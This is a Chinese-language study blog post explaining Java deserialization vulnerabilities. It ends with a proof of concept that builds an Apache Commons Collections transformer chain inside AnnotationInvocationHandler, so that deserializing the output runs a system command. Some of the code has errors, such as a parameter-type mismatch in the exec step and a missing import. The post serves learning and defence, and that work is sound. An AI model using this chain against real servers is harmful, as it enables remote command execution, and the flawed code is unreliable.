java反序列化漏洞原理研习

零、Java反序列化漏洞

　　java的安全问题首屈一指的就是反序列化漏洞，可以执行命令啊，甚至直接getshell，所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢，组里多位大佬对反序列化漏洞都有颇深的研究，借此机会，努力学习，作为狼群中的哈士奇希望成功的继续伪装下去，不被识破，哈哈哈哈！！！

参考文档：感谢所有参考文献的作者：

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化与反序列化：

在这里我们直接自己定义一个类，然后对这个类的对象（一个实例）进行序列化和发序列化测试。

 //引入必要的java包文件
 import java.io.*;

 //创建测试类，注意要继承Serializable接口
 class serialdemo implements Serializable{
     public static int number;
     public serialdemo(int inputnum) {
         this.number = inputnum;
     }
 } 

 //主类
 public class test{
     //测试主类
     public static void main(String[] args) throws IOException, ClassNotFoundException {
         //主函数入口
         serialdemo object = new serialdemo(100);
         FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
         ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
         outputstream.writeObject(object);//把类对象（实例）序列化进入文件
         outputstream.close();
         FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
         ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
         // 通过反序列化恢复对象obj
         serialdemo object2 = (serialdemo)inputstream.readObject();
         System.out.println("反序列化后的对象的值：");
         System.out.println(object2.number);
         inputstream.close();
     }
 }

既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：

 └─[$]> java test
 反序列化后的对象的值：
 

二、对java序列化的详解：

1、api定位：

 /*
 java.io.ObjectOutputStream  ->   writeObject()
 java.io.ObjectInputStream    ->    readObject()
 序列化把对象序列化成字节流
 反序列化读取字节流反序列化对象
 */

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制：

/*
在java运行状态中
1.对于任何一个类，都能判断对象所属的类；
2.对于任何一个类，都能获取其所有的属性和方法；
3.对于任何一个对象，都能调用任意一个方法和属性；
*/

三、反序列化的漏洞原理概述：

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令：

 //命令执行函数
 public void test() throws IOException, InterruptedException {
         Process process = Runtime.getRuntime().exec("whoami");
         InputStream inputstream = process.getInputStream();
         BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
         process.waitFor();
         if (process.exitValue() != 0) {
             //说明命令执行失败
             //可以进入到错误处理步骤中
         }
         //打印输出信息
         String s = null;
         while ((s = reader.readLine()) != null) {
             System.out.println(s);
         }
     }

简介：

Runtime.getRuntime().exec("command_string");

回显呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西，现在我们来看看接口源代码：

我们来理一理这一段：

开始：

可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

 public class InvokerTransformer implements Transformer, Serializable {

 ...

     /*
         Input参数为要进行反射的对象，
         iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
         iArgs为对应方法的参数
         在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
     */
     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
         super();
         iMethodName = methodName;
         iParamTypes = paramTypes;
         iArgs = args;
     }

     public Object transform(Object input) {
         if (input == null) {
             return null;
         }
         try {
             Class cls = input.getClass();
             Method method = cls.getMethod(iMethodName, iParamTypes);
             return method.invoke(input, iArgs);

         } catch (NoSuchMethodException ex) {
             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
         } catch (IllegalAccessException ex) {
             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
         } catch (InvocationTargetException ex) {
             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
         }
     }

 }

只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

五、poc原理分析：

参考大牛博客，给出一个原理解释知识点

 ConstantTransformer
 把一个对象转化为常量，并返回。

 InvokerTransformer
 通过反射，返回一个对象

 ChainedTransformer
 ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：

 /*
 1、java反序列化可以远程执行命令。
 2、java执行命令用到Runtime.getRuntime().exec("whoami");
 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。
 4、ConstantTransformer可以把对象转换为常量返回。
 5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer
 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
 */

POC的思路：

 /*
 1）首先构造一个Map和一个能够执行代码的ChainedTransformer，
 2）生成一个TransformedMap实例
 3）实例化AnnotationInvocationHandler，并对其进行序列化，
 4）当触发readObject()反序列化的时候，就能实现命令执行。
 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
 */

分析大牛poc核心代码逻辑：

 /*
 核心逻辑表达式：
 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
 主函数中：
 1、定义一个要执行的命令字符串：String commandstring = "whoami";
 2、定义一个执行逻辑：
 Transformer[] transformers = new Transformer[] {
   new ConstantTransformer(Runtime.class),
   new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
   new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
   new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 }
 3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)：
 Transformer transformedChain = new ChainedTransformer(transformers);
 4、后面是关于不关心的东西，写死即可：
 Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 BeforeTransformerMap.put("hello", "hello");
 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
 ctor.setAccessible(true);
 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
 File f = new File("temp.bin");
 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
 out.writeObject(instance);
 */

 //引入必要的java包文件
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.annotation.Retention;
 import java.lang.reflect.Constructor;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Map.Entry;

 //引入第三方包文件，也就是关于apache的那几个包
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;

 //主类
 public class POC_Test{
     public static void main(String[] args) throws Exception {
         //定义待执行的命令:
         String commandstring = "whoami";
         //定义一个反射链，确定预定的转化逻辑
         /*
           定义一个反射链的方法：
           Transformer[] varitename = new Transformer[] {
             new ConstantTransformer(Runtime.class),
             new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
             new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
             new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
           }
         */
         Transformer[] transformers = new Transformer[] {
             new ConstantTransformer(Runtime.class),
             /*
             由于Method类的invoke(Object obj,Object args[])方法的定义
             所以在反射内写new Class[] {Object.class, Object[].class }
             正常POC流程举例：
             ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
             */
             new InvokerTransformer(
                 "getMethod",
                 new Class[] {String.class, Class[].class },
                 new Object[] {"getRuntime", new Class[0] }
             ),
             new InvokerTransformer(
                 "invoke",
                 new Class[] {Object.class,Object[].class },
                 new Object[] {null, null }
             ),
             new InvokerTransformer(
                 "exec",
                 new Class[] {String[].class },
                 new Object[] { commandstring }
                 //new Object[] { execArgs }
             )
         };

         //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
         Transformer transformedChain = new ChainedTransformer(transformers);

         //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict
         //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
         Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
         BeforeTransformerMap.put("hello", "hello");

         //Map数据结构，转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。
             第一个参数为待转化的Map对象
             第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
             第三个参数为Map对象内的value要经过的转化方法。
        */
         //TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);
         Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
         File f = new File("temp.bin");
         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
         out.writeObject(instance);
     }
 }

 /*
 思路:构建BeforeTransformerMap的键值对，为其赋值，
      利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme
      对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行

      执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
      利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

 */